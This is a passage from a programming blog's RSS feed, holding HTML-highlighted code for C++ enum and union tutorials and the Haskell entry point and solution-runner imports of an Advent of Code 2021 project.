&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;Color&lt;/span&gt; &lt;span style="color:#111"&gt;c2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75715e"&gt;// error: invalid conversion from &amp;#39;int&amp;#39; to &amp;#39;Color&amp;#39; [-fpermissive]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;enum&lt;/span&gt; &lt;span style="color:#75af00"&gt;CardColor&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#111"&gt;red&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;black&lt;/span&gt; &lt;span style="color:#111"&gt;};&lt;/span&gt; &lt;span style="color:#75715e"&gt;// Error: &amp;#34;red&amp;#34; conflicts with a previous declaration
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch2"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The name can be omitted if it&amp;rsquo;s not going to be used, e.g.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;enum&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#111"&gt;red&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;green&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;blue&lt;/span&gt; &lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;col&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;red&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#cppReferenceEnumerationDeclaration"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Unnamed enums are common in code written before alternative ways of
specifying integer constants, e.g.&lt;/p&gt;</description></item><item><title>Unions in C++</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/unions-in-cpp/</link><pubDate>Sat, 04 Jun 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/type-systems/user-defined-types/unions-in-cpp/</guid><description>&lt;p&gt;A &lt;strong&gt;union&lt;/strong&gt; is a &lt;code&gt;struct&lt;/code&gt; in which all members are allocated at the same
address so that the &lt;code&gt;union&lt;/code&gt; occupies as much space as its largest
member, e.g.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// This is a naked union because it doesn&amp;#39;t have an associated indicator
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// for which member it holds.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;union&lt;/span&gt; &lt;span style="color:#75af00"&gt;Value&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Node&lt;/span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#111"&gt;p&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;int&lt;/span&gt; &lt;span style="color:#111"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// The language doesn&amp;#39;t keep track of which kind of value is held by a
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// union, so the programmer must do that themselves, e.g.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;enum&lt;/span&gt; &lt;span style="color:#75af00"&gt;Type&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#111"&gt;ptr&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;num&lt;/span&gt; &lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;struct&lt;/span&gt; &lt;span style="color:#75af00"&gt;Entry&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;name&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Type&lt;/span&gt; &lt;span style="color:#111"&gt;t&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;Value&lt;/span&gt; &lt;span style="color:#111"&gt;v&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt; &lt;span style="color:#75715e"&gt;// use v.p if t == ptr; use v.i if t == num
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Sample usage.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;void&lt;/span&gt; &lt;span style="color:#75af00"&gt;f&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;Entry&lt;/span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#111"&gt;pe&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;pe&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#111"&gt;t&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#111"&gt;num&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;std&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#111"&gt;cout&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;pe&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#111"&gt;v&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;i&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Stroustrup2018-Ch2"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2021 Main</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/app/Main/</link><pubDate>Mon, 11 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/app/Main/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;module&lt;/span&gt; &lt;span style="color:#111"&gt;Main&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;where&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021Args&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;..&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#75af00"&gt;aocArgParser&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Options.Applicative&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;main&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;main&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;runAoCSolutions&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;execParser&lt;/span&gt; &lt;span style="color:#111"&gt;opts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;where&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;opts&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;info&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;aocArgParser&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;**&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;helper&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#111"&gt;fullDesc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;progDesc&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Run solutions for a given DAY of AoC 2021&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;header&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;A module for running solutions for AoC 2021&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runAoCSolutions&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runAoCSolutions&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt; &lt;span style="color:#111"&gt;d&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;AoC2021&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;runSolution&lt;/span&gt; &lt;span style="color:#111"&gt;d&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>AoC 2021 Solution Runner</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/</link><pubDate>Mon, 11 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;{-# OPTIONS_GHC -Wall #-}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;module&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;where&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- https://cabal.readthedocs.io/en/3.4/cabal-package.html#accessing-data-files-from-package-code&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021InputParser&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;parseBinaryDiagnosticInput&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;parseBingoInput&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;parseHydrothermalVents&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseLanternfishInternalTimers&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;parseHorizontalCrabPositions&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseSevenSegmentsDisplay&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;parseHeightMap&lt;/span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;BinaryDiagnostic.BinaryDiagnostic&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;lifeSupportRating&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;powerConsumption&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Data.String&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;IsString&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;fromString&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Dive.Dive&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;productOfFinalPosition&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;productOfFinalPositionWithNewIntepretation&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;GiantSquid&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;scoreOfFirstWinningBoard&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;scoreOfLastWinningBoard&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;HydrothermalVenture.HydrothermalVenture&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;pointsWithAtLeastTwoRightSegmentOverlaps&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;pointsWithAtLeastTwoSegmentOverlaps&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.Lanternfish&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;numOfFishIn80Days&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;numOfFishIn256Days&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.TreacheryOfWhales&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;TreacheryOfWhales&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;minFuelForAlignmentWithConstantBurnRate&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;minFuelForAlignmentWithIncreasingBurnRate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Paths_advent_of_code_y2021&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;getDataFileName&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;SonarSweep&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;num3MeasurementIncreases&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;numIncreases&lt;/span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;System.IO&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;IOMode&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;ReadMode&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#75af00"&gt;hGetContents&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;withFile&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.SevenSegmentSearch&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;SevenSegmentSearch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;numOf1478AppearancesInOutput&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;sumOfOutputValues&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.SmokeBasin&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;SmokeBasin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;sumOfRiskLevelsOfLowPoints&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;productOf3LargestBasins&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Text.Printf&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;printf&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;allSolutions&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;allSolutions&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;solution01&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;solution02&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;solution03&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;solution04&lt;/span&gt;
